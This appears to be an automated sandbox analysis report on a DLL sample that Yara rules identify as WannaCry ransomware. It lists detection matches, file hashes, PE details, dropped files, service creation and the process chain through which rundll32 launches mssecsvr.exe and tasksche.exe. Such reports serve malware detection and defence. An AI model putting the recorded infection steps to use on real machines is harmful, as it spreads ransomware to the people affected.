Source: Yara match	File source: 7.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.376447140.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.381831383.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.376441267.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.373316314.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.374746978.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.972491427.000000000042E000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.378000535.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.369457391.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.370178171.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.386262666.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.368657344.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.371987251.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 1404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 5680, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\mssecsvr.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: QbNF1cvpa0.dll, type: SAMPLE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 5.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 5.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 5.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 5.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 5.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 5.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)

Source: QbNF1cvpa0.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: QbNF1cvpa0.dll, type: SAMPLE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 5.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 5.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 5.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 5.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 5.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 5.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A

Source: C:\Windows\tasksche.exe

File deleted: C:\Windows\__tmp_rar_sfx_access_check_5452750

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\WINDOWS\mssecsvr.exe

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: 9_2_00402F2C	9_2_00402F2C
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B0D9	9_2_0041B0D9
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B8B9	9_2_0041B8B9
Source: C:\Windows\tasksche.exe	Code function: 9_2_00414946	9_2_00414946
Source: C:\Windows\tasksche.exe	Code function: 9_2_00410178	9_2_00410178
Source: C:\Windows\tasksche.exe	Code function: 9_2_00404986	9_2_00404986
Source: C:\Windows\tasksche.exe	Code function: 9_2_00429241	9_2_00429241
Source: C:\Windows\tasksche.exe	Code function: 9_2_0042727C	9_2_0042727C
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040CB23	9_2_0040CB23
Source: C:\Windows\tasksche.exe	Code function: 9_2_004283FC	9_2_004283FC
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041AC04	9_2_0041AC04
Source: C:\Windows\tasksche.exe	Code function: 9_2_00416C3F	9_2_00416C3F
Source: C:\Windows\tasksche.exe	Code function: 9_2_00401CC1	9_2_00401CC1
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041F4D4	9_2_0041F4D4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041BCD9	9_2_0041BCD9
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040C4FF	9_2_0040C4FF
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041B4AD	9_2_0041B4AD
Source: C:\Windows\tasksche.exe	Code function: 9_2_00417D78	9_2_00417D78
Source: C:\Windows\tasksche.exe	Code function: 9_2_00427D04	9_2_00427D04
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041450F	9_2_0041450F
Source: C:\Windows\tasksche.exe	Code function: 9_2_00415D9A	9_2_00415D9A
Source: C:\Windows\tasksche.exe	Code function: 9_2_00405610	9_2_00405610
Source: C:\Windows\tasksche.exe	Code function: 9_2_0041462B	9_2_0041462B
Source: C:\Windows\tasksche.exe	Code function: 9_2_00413EE3	9_2_00413EE3
Source: C:\Windows\tasksche.exe	Code function: 9_2_004106F4	9_2_004106F4
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040C756	9_2_0040C756
Source: C:\Windows\tasksche.exe	Code function: 9_2_004277C0	9_2_004277C0

Source: C:\Windows\tasksche.exe	Code function: String function: 0041AAF0 appears 48 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041A4DC appears 37 times
Source: C:\Windows\tasksche.exe	Code function: String function: 0041FA9C appears 38 times

Source: C:\Windows\tasksche.exe

Code function: 9_2_0040690A: __EH_prolog,_wcslen,_wcscpy,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,_wcscpy,_wcscpy,_wcscpy,_wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

9_2_0040690A

Source: mssecsvr.exe.3.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Source: mssecsvr.exe.3.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive

Source: eee.exe.9.dr

Static PE information: No import functions for PE file found

Source: tasksche.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tasksche.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Joe Sandbox View

Dropped File: C:\WINDOWS\qeriuwjhrf (copy) EA2AD4D3BB98673B88E18EEA1BF06C371C206B64246A9193B2A64BA4FE4F4900

Source: QbNF1cvpa0.dll	Virustotal: Detection: 90%
Source: QbNF1cvpa0.dll	ReversingLabs: Detection: 90%

Source: QbNF1cvpa0.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\QbNF1cvpa0.dll,PlayGame
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",PlayGame
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe
Source: unknown	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe -m security
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\QbNF1cvpa0.dll,PlayGame	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",PlayGame	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvr.exe C:\WINDOWS\mssecsvr.exe	Jump to behavior
Source: C:\Windows\mssecsvr.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior

Source: C:\Windows\mssecsvr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\tasksche.exe

Code function: 9_2_00406553 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,

9_2_00406553

Source: C:\Windows\tasksche.exe

File created: C:\Users\user\New folder

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.expl.evad.winDLL@23/7@3/100

Source: C:\Windows\tasksche.exe

Code function: 9_2_00419BB0 CoCreateInstance,

9_2_00419BB0

Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		5_2_00407C40
Source: C:\Windows\mssecsvr.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		8_2_00407C40

Source: C:\Windows\tasksche.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Windows\mssecsvr.exe	Code function: 5_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		5_2_00408090
Source: C:\Windows\mssecsvr.exe	Code function: 8_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,		8_2_00408090

Source: C:\Windows\mssecsvr.exe

Code function: 5_2_00407C40 sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,

5_2_00407C40

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\QbNF1cvpa0.dll,PlayGame

Source: C:\Windows\mssecsvr.exe

Code function: 5_2_00407CE0 InternetCloseHandle,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,FindResourceA,LoadResource,LockResource,SizeofResource,sprintf,sprintf,sprintf,MoveFileExA,CreateFileA,WriteFile,FindCloseChangeNotification,CreateProcessA,CloseHandle,CloseHandle,

5_2_00407CE0

Source: C:\Windows\tasksche.exe	Command line argument: sfxname	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: sfxstime	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: STARTDLG	9_2_0040FEF0
Source: C:\Windows\tasksche.exe	Command line argument: @CB	9_2_00424290

Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\mssecsvr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
Source: C:\Windows\tasksche.exe	Automated click: OK
